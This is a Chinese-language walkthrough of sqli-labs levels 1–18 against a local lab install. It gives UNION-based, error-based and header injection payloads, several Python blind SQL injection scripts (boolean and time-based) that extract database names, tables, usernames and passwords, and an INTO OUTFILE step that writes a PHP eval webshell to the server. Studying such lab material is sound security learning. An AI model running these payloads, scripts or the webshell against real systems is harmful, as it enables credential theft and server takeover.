[sqli-labs] 学习

基础知识

  • select * from * LIMIT N; --检索前N行数据,显示1-N条数据

  • select * from * LIMIT N,M; --从第N行数据为起点,检索M行数据

  • 如select * from * LIMIT 0,1; --从第0行开始检索1条数据,其实就是输出第一条的数据

  • select * from * LIMIT M OFFSET N; --从第N行数据为起点,检索M行数据,跟limit N,M参数掉转位置而已

  • 常用函数

1. version()——MySQL版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
6. concat(str1,str2,...) --没有分隔符地连接字符串
7. concat_ws(separator,str1,str2,...) --含有分隔符地连接字符串
8. group_concat(str1,str2,...) --连接一个组的所有字符串,并以逗号分隔每一条数据
  • Mysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程
猜数据库
select schema_name from information_schema.schemata

猜某库的数据表
select table_name from information_schema.tables where table_schema='xxxxx'

猜某表的所有列
Select column_name from information_schema.columns where table_name='xxxxx'

获取某列的内容
Select *** from ****

less-1

#找注入点,存在注入点
http://127.0.0.1/sqli-labs-7.2/less-1/?id=1' 报错
http://127.0.0.1/sqli-labs-7.2/less-1/?id=1' and 1=1 %23 不报错 
#由于使用union查询需要前后SELECT 语句必须拥有相同数量的列,所以用order by来测试有多列,当order by 4就会报错所以知道有3列
http://127.0.0.1/sqli-labs-7.2/less-1/?id=1' order by 4 %23
#爆数据库
http://127.0.0.1/sqli-labs-7.2/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata%23
#爆数据表
http://127.0.0.1/sqli-labs-7.2/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
#爆字段名
http://127.0.0.1/sqli-labs-7.2/less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
#爆用户名和密码
http://127.0.0.1/sqli-labs-7.2/less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users %23

less-2

#爆列数
http://127.0.0.1/sqli-labs-7.2/less-2?id=1 order by 4 %23
#爆数据库
http://127.0.0.1/sqli-labs-7.2/less-2?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata %23
#爆数据表
http://127.0.0.1/sqli-labs-7.2/less-2?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
#爆字段名
http://127.0.0.1/sqli-labs-7.2/less-2?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
#爆用户名和密码
http://127.0.0.1/sqli-labs-7.2/less-2?id=-1 union select 1,group_concat(username),group_concat(password) from users %23

less-3

#找注入点
http://127.0.0.1/sqli-labs-7.2/less-3?id=1') and 1=2 %23
#爆列数
http://127.0.0.1/sqli-labs-7.2/less-3?id=1') order by 4 %23
#爆数据库
http://127.0.0.1/sqli-labs-7.2/less-3?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata %23
#爆数据表
http://127.0.0.1/sqli-labs-7.2/less-3?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
#爆字段名
http://127.0.0.1/sqli-labs-7.2/less-3?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
#爆用户名和密码
http://127.0.0.1/sqli-labs-7.2/less-3?id=-1') union select 1,group_concat(username),group_concat(password) from users  %23

less-4

#找注入点
http://127.0.0.1/sqli-labs-7.2/less-4?id=1"
http://127.0.0.1/sqli-labs-7.2/less-4?id=1") and 1=2 %23
#爆列数
http://127.0.0.1/sqli-labs-7.2/less-4?id=1") order by 4 %23
#爆数据库
http://127.0.0.1/sqli-labs-7.2/less-4?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata %23
#爆数据表
http://127.0.0.1/sqli-labs-7.2/less-4?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
#爆字段名
http://127.0.0.1/sqli-labs-7.2/less-4?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
#爆用户名和密码
http://127.0.0.1/sqli-labs-7.2/less-4?id=-1") union select 1,group_concat(username),group_concat(password) from users %23
  • EXP(X)函数返回e(自然对数的底)指数X的幂值

  • name_const(name,value)返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。

  • IF(expr1,expr2,expr3) -- expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果。if(a,b,c)如果a成立,执行b,不成立执行C

  • mid(column_name,start[,length]) --str="123456" mid(str,2,1) 结果为2

  • string substring(string, start, length) 跟mid()差不多

  • string substr(string, start, length) 跟mid()差不多

  • left(string, n) --string为要截取的字符串,n为长度。

  • 常用基于报错的sql盲注函数

extractvalue(1,concat(0x7e,(select @@version),0x7e))  se//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)   //mysql对xml数据进行查询和修改的xpath函数,xpath语法错误

less-5

  • 先找到注入点
#报错
http://127.0.0.1/sqli-labs-7.2/less-5?id=1'
#显示you are in....
http://127.0.0.1/sqli-labs-7.2/less-5?id=1' and 1=1 %23
#不显示you are in....
http://127.0.0.1/sqli-labs-7.2/less-5?id=1' and 1=2 %23
  • 这里是基于布尔类型的盲注,然后写了个简单的脚本,从结果来看也爆出来了
import requests
import string


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'

def leak_database(url,cmd,inj_point):

    database_name = ""

    i = 1

    while True:
        flags = 0
        for j in list:
            cmd1 = cmd.format('database()',i,database_name+j)
            payload = {inj_point:cmd1}
            r = requests.get(url,params=payload)
            respond = r.text.encode('utf-8')

            if 'You are in' in respond:
                database_name += j
                flags = 1
                break

        if not flags:
            return database_name

        i += 1


def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if 'You are in' in respond:
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if 'You are in' in respond:

                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if 'You are in' in respond:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs-7.2/less-5'  #url
injection = "1' and left({},{}) = '{}' #"  #injection


database_name = leak_database(url,injection,'id')
print "database name: ",database_name

table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id','users')
print 'column name: ',column_name

username = leak_content(url,injection,'id','username','users')
print 'username: ',username

password = leak_content(url,injection,'id','password','users')
print 'password: ',password

less-6

  • 先找到注入点
#报错
http://127.0.0.1/sqli-labs-7.2/less-6?id=1"
#显示you are in....
http://127.0.0.1/sqli-labs-7.2/less-5?id=1" and 1=1 %23
#不显示you are in....
http://127.0.0.1/sqli-labs-7.2/less-5?id=1" and 1=2 %23
  • 然后改上一关写的盲注脚本注入点即可
import requests
import string


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'

def leak_database(url,cmd,inj_point):

    database_name = ""

    i = 1

    while True:
        flags = 0
        for j in list:
            cmd1 = cmd.format('database()',i,database_name+j)
            payload = {inj_point:cmd1}
            r = requests.get(url,params=payload)
            respond = r.text.encode('utf-8')

            if 'You are in' in respond:
                database_name += j
                flags = 1
                break

        if not flags:
            return database_name

        i += 1


def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if 'You are in' in respond:
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if 'You are in' in respond:

                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if 'You are in' in respond:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs-7.2/less-6'  #url
injection = "1\" and left({},{}) = '{}' #"  #injection


database_name = leak_database(url,injection,'id')
print "database name: ",database_name

table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id','users')
print 'column name: ',column_name

username = leak_content(url,injection,'id','username','users')
print 'username: ',username

password = leak_content(url,injection,'id','password','users')
print 'password: ',password
  • mysql注入load_file常用路径
  • load data infile file_name into table table_name 用于高速地从一个文本文件中读取行,并装入一个表中。
  • select table into outfile file_name 可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有file权限,才能使用此语法。file_name不能是一个已经存在的文件。
  • show variables like '%secure%'; --查看 secure-file-priv 当前的值,如果是null代表禁止导出

less-7

  • 寻找注入点
#正常显示
http://127.0.0.1/sqli-labs-7.2/less-7?id=1')) and 1=1 %23
#报错
http://127.0.0.1/sqli-labs-7.2/less-7?id=1')) and 1=2 %23
  • 然后可以像less-5那样盲注出来,但这里题目提示我们用outfile来做,使用outfile的前提是secure_file_priv没有设置为null,否则没有权限,然后还要知道路径,这里假设我们已经知道路径
#写一句话木马在服务器上
http://127.0.0.1/sqli-labs-7.2/less-7?id=1')) union select 1,2,'<?php @eval($_post["123"])?>' into outfile '/Users/hacker-mao/Documents/MAMP/1.php' %23
  • 虽然显示报错,但是实际上已经写入了文件,然后用菜刀连即可

less-8

  • 跟less-5 一样,只是不能用报错注入了,直接用less-5的基于布尔盲注脚本能跑出来,但是这里修改一下改成基于时间盲注的脚本来跑
#正常
http://127.0.0.1/sqli-labs-7.2/less-8?id=1' and 1=1 %23
#异常
http://127.0.0.1/sqli-labs-7.2/less-8?id=1' and 1=2 %23
import requests
import string
import time


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'

def leak_database(url,cmd,inj_point):

    database_name = ""

    i = 1

    while True:
        flags = 0
        for j in list:
            startime = time.time()
            cmd1 = cmd.format('database()',i,database_name+j)
            payload = {inj_point:cmd1}
            r = requests.get(url,params=payload)
            #print r.url
            respond = r.text.encode('utf-8')

            if time.time() - startime > 5:
                #print database_name
                database_name += j
                flags = 1
                break

        if not flags:
            return database_name

        i += 1


def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if time.time() - startime > 5:
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 5:

                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 5:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs-7.2/less-8'  #url
injection = "1' union select 1,2,if( (left({},{}) = '{}') , sleep(5) , 0) #"  #injection


database_name = leak_database(url,injection,'id')
print "database name: ",database_name

table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id','users')
print 'column name: ',column_name

username = leak_content(url,injection,'id','username','users')
print 'username: ',username

password = leak_content(url,injection,'id','password','users')
print 'password: ',password
  • 跑出来的结果

less-9

  • 这里跟第8关的区别就在于不管正不正确都会有'You are in ...'字样出来,无法判断注入点,但是可以根据时间盲注还判断自己的sql语句是否能执行,然后用上一关写的时间盲注脚本跑就行了
#会有延迟,说明sql语句执行了
http://127.0.0.1/sqli-labs-7.2/less-9?id=1' union select 1,2,if(left(database(),1) = 'a', 0 , sleep(5)) %23

less-10

  • 这关还是时间盲注,只是改了注入点,将我们的脚本改一改就行了
#会有5秒延迟,说明执行了我们的sql语句
http://127.0.0.1/sqli-labs-7.2/less-10?id=1" union select 1,2,if(left(database(),1) = 'a', 0 , sleep(5)) %23
import requests
import string
import time


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'

def leak_database(url,cmd,inj_point):

    database_name = ""

    i = 1

    while True:
        flags = 0
        for j in list:
            startime = time.time()
            cmd1 = cmd.format('database()',i,database_name+j)
            payload = {inj_point:cmd1}
            r = requests.get(url,params=payload)
            #print r.url
            respond = r.text.encode('utf-8')

            if time.time() - startime > 5:
                #print database_name
                database_name += j
                flags = 1
                break

        if not flags:
            return database_name

        i += 1


def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if time.time() - startime > 5:
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 5:

                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 5:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs-7.2/less-8'  #url
injection = "1\" union select 1,2,if( (left({},{}) = '{}') , sleep(5) , 0) #"  #injection


database_name = leak_database(url,injection,'id')
print "database name: ",database_name

table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id','users')
print 'column name: ',column_name

username = leak_content(url,injection,'id','username','users')
print 'username: ',username

password = leak_content(url,injection,'id','password','users')
print 'password: ',password
  • 这里放简单跑了一下数据库名的图

less-11

  • 这里输入'会报错,所以存在注入点
  • 让uname = admin'#正常登陆admin
  • 爆出列数
  • 爆库名
  • 后面的步骤就跟get注入差不多就不重复了

less-12

  • 跟11关相比换了闭合符号
#爆库名
uname=-1") union select 1,group_concat(schema_name) from information_schema.schemata  # &passwd=123

less-13

  • 基于布尔类型的post盲注,找注入点,然后直接上脚本跑
#注入点
uname=1') and left(database(),1) = 's' #   & passwd=123
import requests
import string


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'

def leak_database(url,cmd,inj_point):

    database_name = ""

    i = 1

    while True:
        flags = 0
        for j in list:
            cmd1 = cmd.format('database()',i,database_name+j)
            payload = {inj_point:cmd1,'passwd':'123'}

            r = requests.post(url,payload)
            respond = r.text.encode('utf-8')

            if 'flag.jpg' in respond:
                database_name += j
                flags = 1
                break

        if not flags:
            return database_name

        i += 1


def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1,'passwd':'123'}
                r = requests.post(url,payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if 'flag.jpg' in respond:
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1,'passwd':'123'}
                r = requests.post(url,payload)

                respond = r.text.encode('utf-8')

                if 'flag.jpg' in respond:

                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1,'passwd':'123'}
                r = requests.post(url,payload)

                respond = r.text.encode('utf-8')

                if 'flag.jpg' in respond:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs-7.2/less-13/'  #url
injection = "admin') and left({},{}) = '{}' #"  #injection



database_name = leak_database(url,injection,'uname')
print "database name: ",database_name

table_name = leak_tables(url,injection,'uname')
print "table name: ",table_name

column_name = leak_columns(url,injection,'uname','users')
print 'column name: ',column_name

username = leak_content(url,injection,'uname','username','users')
print 'username: ',username

password = leak_content(url,injection,'uname','password','users')
print 'password: ',password

less-14

  • 跟13关一样,布尔盲注,闭合符号变成了",用脚本可以跑出来,但这里熟悉一下报错注入
#成功回显
uname=admin" or 1=1 # & passwd=123
#不成功回显示
uname=admin" and 1=2 # & passwd=123
#爆版本
uname=admin" and extractvalue(1,concat(0x7e,(select @@version),0x7e))# & passwd=123
#爆数据库名
uname=admin" and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e)) # & passwd=123
#爆数据表
uname=admin" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),0x7e)) # & passwd=123
#爆数据段
uname=admin" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 4,1),0x7e)) # & passwd=123

uname=admin" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 5,1),0x7e)) # & passwd=123

#爆数据
uname=admin" and extractvalue(1,concat(0x7e,(select username from users limit 7,1),0x7e)) # & passwd=123

uname=admin" and extractvalue(1,concat(0x7e,(select password from users limit 7,1),0x7e)) # & passwd=123

less-15

  • 还是和前面一样,闭合符号变成了',继续改脚本跑脚本
import requests
import string


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'

def leak_database(url,cmd,inj_point):

    database_name = ""

    i = 1

    while True:
        flags = 0
        for j in list:
            cmd1 = cmd.format('database()',i,database_name+j)
            payload = {inj_point:cmd1,'passwd':'123'}

            r = requests.post(url,payload)
            respond = r.text.encode('utf-8')

            if 'flag.jpg' in respond:
                database_name += j
                flags = 1
                break

        if not flags:
            return database_name

        i += 1


def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1,'passwd':'123'}
                r = requests.post(url,payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if 'flag.jpg' in respond:
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1,'passwd':'123'}
                r = requests.post(url,payload)

                respond = r.text.encode('utf-8')

                if 'flag.jpg' in respond:

                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1,'passwd':'123'}
                r = requests.post(url,payload)

                respond = r.text.encode('utf-8')

                if 'flag.jpg' in respond:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs-7.2/less-15/'  #url
injection = "admin' and left({},{}) = '{}' #"  #injection



database_name = leak_database(url,injection,'uname')
print "database name: ",database_name

table_name = leak_tables(url,injection,'uname')
print "table name: ",table_name

column_name = leak_columns(url,injection,'uname','users')
print 'column name: ',column_name

username = leak_content(url,injection,'uname','username','users')
print 'username: ',username

password = leak_content(url,injection,'uname','password','users')
print 'password: ',password

less-16

  • 和前面一样,闭合符号变成了"),跑脚本
#成功回显
uname=admin")  or 1=1 # & passwd=123
#没回显
uname=admin")  and 1=2 # & passwd=123
import requests
import string


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'

def leak_database(url,cmd,inj_point):

    database_name = ""

    i = 1

    while True:
        flags = 0
        for j in list:
            cmd1 = cmd.format('database()',i,database_name+j)
            payload = {inj_point:cmd1,'passwd':'123'}

            r = requests.post(url,payload)
            respond = r.text.encode('utf-8')

            if 'flag.jpg' in respond:
                database_name += j
                flags = 1
                break

        if not flags:
            return database_name

        i += 1


def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1,'passwd':'123'}
                r = requests.post(url,payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if 'flag.jpg' in respond:
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1,'passwd':'123'}
                r = requests.post(url,payload)

                respond = r.text.encode('utf-8')

                if 'flag.jpg' in respond:

                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1,'passwd':'123'}
                r = requests.post(url,payload)

                respond = r.text.encode('utf-8')

                if 'flag.jpg' in respond:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs-7.2/less-16/'  #url
injection = "admin\") and left({},{}) = '{}' #"  #injection



database_name = leak_database(url,injection,'uname')
print "database name: ",database_name

table_name = leak_tables(url,injection,'uname')
print "table name: ",table_name

column_name = leak_columns(url,injection,'uname','users')
print 'column name: ',column_name

username = leak_content(url,injection,'uname','username','users')
print 'username: ',username

password = leak_content(url,injection,'uname','password','users')
print 'password: ',password

less-17

  • 这题username无法绕过,有个mysqli_real_escape_string函数会自动转义符号,所以我们的重心放在password这里
  • 利用报错盲注对password进行注入
#爆版本
uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #&submit=Submit

#爆数据库名
uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e)) #&submit=Submit

#爆数据表名
uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),0x7e)) #&submit=Submit

#爆数据段
uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 4,1),0x7e)) #&submit=Submit

uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 5,1),0x7e)) #&submit=Submit
  • 爆数据,这里原本用的是
uname=admin & passwd=1' and uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select username from users limit 7,1),0x7e))  #&submit=Submit
  • 然后会报一个You can't specify target table 'users' for update in FROM clause的错误,查了之后查发现是不允许selec一个表的值再更改这个表(在同一语句中),将select出的结果再通过中间表select一遍,这样就规避了错误。注意,这个问题只出现于mysql,mssql和oracle不会出现此问题。
  • 然后通过增加一个中间select最终爆出数据
uname=admin & passwd=1' and uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select u2.username from (select u1.username from users u1) u2 limit 7,1),0x7e))  #&submit=Submit

uname=admin & passwd=1' and uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select u2.password from (select u1.password from users u1) u2 limit 7,1),0x7e))  #&submit=Submit

less-18

  • 这里直接在输入uname和passwd上进行注入是不行的,但是可以利用在insert的时候将useragent和ip插入到数据库中注入,使用bp抓包来注入
POST /sqli-labs-7.2/less-18/ HTTP/1.1
Host: 127.0.0.1
User-Agent: 1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e)) and '1' = '1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

